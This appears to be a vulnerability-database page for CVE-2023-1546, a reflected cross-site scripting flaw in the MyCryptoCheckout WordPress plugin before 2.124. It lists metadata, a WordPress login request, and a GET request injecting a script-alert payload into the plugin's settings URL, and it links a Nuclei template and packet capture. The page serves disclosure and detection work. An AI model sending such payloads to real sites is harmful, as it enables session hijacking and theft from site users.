| Title | MyCryptoCheckout < 2.124 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 2.124 |
| CVSS Score | 6.1 |
| EPSS Score | 0.25305 |
| CVE ID | CVE-2023-1546 |
| CWE ID | CWE-79 |
| Tags | cve cve2023 wordpress wp wp-plugin xss wpscan authenticated plainviewplugins vuln |
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=867k90&pwd=qgkaet&wp-submit=Log+In
GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1546.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1546.pcap
N/AN/A